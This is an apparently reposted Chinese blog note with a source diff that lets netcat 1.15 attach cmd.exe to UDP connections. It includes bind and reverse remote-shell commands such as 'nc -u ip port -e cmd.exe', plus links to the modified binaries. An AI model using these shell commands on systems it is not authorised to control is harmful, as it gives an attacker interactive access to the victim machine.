update netcat 1.14 to 1.15 to support nc -u -lp port -e cmd.exe

2024-01-02 23:08

本文主要是介绍update netcat 1.14 to 1.15 to support nc -u -lp port -e cmd.exe,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

更新说明:netcat-1.14之前的版本不支持udp模式下得到一个shell,既同时使用-u选项和-e选项。

netcat-1.15下可以,使用如下:

1.nc -ulp port -e cmd.exe    nc -u ip port

2.nc -ulp port     nc -u ip port-e cmd.exe



nc115.rar by chenghao0511#gmail.com

http://pan.baidu.com/share/link?shareid=470304&uk=453348606

http://www.kuaipan.cn/file/id_9282957629980996.htm


update netcat 1.14 to 1.15

modify by chenghao0511#gmail.com 2013/05/11

why?

netcat 1.14 can not support :
nc -u -lp port -e cmd.exe
nc -u ip port

how to update:(in doexec.c in SessionWriteShellThreadFn)


-    BYTE    RecvBuffer[1];


+    BYTE    RecvBuffer[8192];

-     BYTE    Buffer[BUFFER_SIZE];

-    while (recv(Session->ClientSocket, RecvBuffer, sizeof(RecvBuffer), 0) != 0) {

+    while ((BufferCnt = recv(Session->ClientSocket, RecvBuffer, sizeof(RecvBuffer), 0)) != 0) {

-        Buffer[BufferCnt++] = RecvBuffer[0];

-        if (RecvBuffer[0] == '\r')
-                Buffer[BufferCnt++] = '\n';

        // Trap exit as it causes problems
-        if (strnicmp(Buffer, "exit\n", 5) == 0)
-            ExitThread(0);



        //
        // If we got a CR, it's time to send what we've buffered up down to the
        // shell process.
        // SECURITY FIX: CW 12/27/04 Add BufferCnt size check.  If we hit end of buffer, flush it
        if (RecvBuffer[0] == '\n' || RecvBuffer[0] == '\r' || BufferCnt > BUFFER_SIZE-1) {
            if (! WriteFile(Session->WritePipeHandle, Buffer, BufferCnt,
                            &BytesWritten, NULL))
            {
                break;
            }
            BufferCnt = 0;
        }


changed to:

        //if (RecvBuffer[0] == '\n' || RecvBuffer[0] == '\r' || BufferCnt > BUFFER_SIZE-1) {
            if (! WriteFile(Session->WritePipeHandle, RecvBuffer, BufferCnt,
                            &BytesWritten, NULL))
            {
                break;
            }
            BufferCnt = 0;

        //}


(13-05-14)更新说明:更正了本地输入exit后,远程退出,本地不退出的情况,udp不是面向连接的所以,对方关闭套接字,己方不会自动关闭套接字,需要自己选择一个时机退出

    rr = send (fd, zp, rr, 0);    /* one line, or the whole buffer */
+        if (strnicmp(zp, "exit\n", 5) == 0) /* UDP after input "exit",break! by chenghao0511 2013-05-14*/
+           if(o_udpmode)
+              break;


netcat 1.15-2 by chenghao0511


netcat-1.152可以用

nc -C -uip port -e cmd.exe

nc -ulp port


http://pan.baidu.com/share/link?shareid=476358&uk=453348606

http://www.kuaipan.cn/file/id_9282957629981000.htm


netcat-1.152的情况下,既UDP模式下,以内网ip和外网ip相互通信。




netcat 1.13-3对-u参数既UDP模式下crtl+c进行了出来,本地发送"exit\n"到远端。

netcat 1.15-3 by chenghao0511

这篇关于update netcat 1.14 to 1.15 to support nc -u -lp port -e cmd.exe的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/563908

相关文章

matlab读取NC文件(含group)

matlab读取NC文件(含group): NC文件数据结构: 代码: % 打开 NetCDF 文件filename = 'your_file.nc'; % 替换为你的文件名% 使用 netcdf.open 函数打开文件ncid = netcdf.open(filename, 'NC_NOWRITE');% 查看文件中的组% 假设我们想读取名为 "group1" 的组groupName

NC 把数字翻译成字符串

系列文章目录 文章目录 系列文章目录前言 前言 前些天发现了一个巨牛的人工智能学习网站,通俗易懂,风趣幽默,忍不住分享一下给大家。点击跳转到网站,这篇文章男女通用,看懂了就去分享给你的码吧。 描述 有一种将字母编码成数字的方式:‘a’->1, ‘b->2’, … , ‘z->26’。 现在给一串数字,返回有多少种可能的译码结果 import java.u

如何用MyEclipse生成jar文件和exe4j生成.exe

首先新建一个文件夹,文件名自定,为了使没有安装jre的用户,也可以运行这个exe文件,先把安装的java下面的jre复制到这文件夹中, 1.先用MyEclipse生成jar文件,步骤如下: 右击项目名——选择Export——java——JAR file——点击“Next”——填一下地址(JAR file,存放在刚才新建的文件夹里面,路径就是这个)——点击“Next”——在点击“Next”——点

Java中WebService接口的生成、打包成.exe、设置成Windows服务、及其调用、Apache CXF调用

一、Java中WebService接口的生成: 1、在eclipse工具中新建一个普通的JAVA项目,新建一个java类:JwsServiceHello.java package com.accord.ws;import javax.jws.WebMethod;import javax.jws.WebService;import javax.xml.ws.Endpoint;/*** Ti

C++常见异常汇总(三): fatal error: google/protobuf/port_def.inc

文章目录 1、fatal error : sw/redis++/redis.h2、fatal error: dwarf.h: No such file or directory3、fatal error: elfutils/libdw.h: No such file or directory4、fatal error: libunwind.h: No such file or directo

将 python 文件打包为exe文件

可以使用 PyInstaller 来将 Python 文件打包为可执行的 .exe 文件。以下是基本的步骤: 安装 PyInstaller: pip install pyinstaller 打包 Python 文件: 在终端中运行以下命令: pyinstaller --onefile your_script.py –onefile 选项将所有文件打包到一个 .exe 文件中。 找

Autosar(Davinci) --- 创建一个S/R类型的port(下)

前言:         前面章节我们讲解了S/R类型的Port如何创建,这一章节,我们着重讲一下生成的代码,以及我们如何添加代码让这些门与灯之间的关系产生连接。 一、CtSaDoor.c 在【Rte.c】的【IO_TASK】中我们可以看到,反复的判断Rte_Ev_Cyclic_IO_Task_0_200ms这个条件是否成立,当200ms到达时,调用RCtSaDoorReadDoor函数,去读

c++ obj文件与exe文件的区别

编译:当前源代码编译成二进制目标文件(.obj文件) 链接(link):将生成的.obj文件与库文件.lib等文件链接,生成可执行文件(.exe文件)。 一个现代编译器的主要工作流程如下: 源程序(source code)→ 预处理器(preprocessor)→ 编译器(compiler)→ 汇编程序(assembler)→ 目标程序(object code)→ 连接器(链接器,Linker)

cmd 常用命令总结

尽管图形用户界面已成为常态,但命令行工具仍然在许多场景下不可或缺。下面是 Windows 命令提示符(CMD)中的一些常用命令及其用法。 1. 导航命令 cd:改变当前工作目录。 cd /?:获取 cd 命令的帮助信息。 cd \:回到当前驱动器的根目录。 cd ..:返回上一级目录。 cd /d E:\software:切换到另一个驱动器并进入指定的目录。 D::切换到 D 驱动器

apt-get update更新源时,出现“Hash Sum mismatch”问题

转载自:apt-get update更新源时,出现“Hash Sum mismatch”问题 当使用apt-get update更新源时,出现下面“Hash Sum mismatch”的报错,具体如下: root@localhost:~# apt-get update ...... ...... W: Failed to fetch http://us.archive.ubuntu.com/ub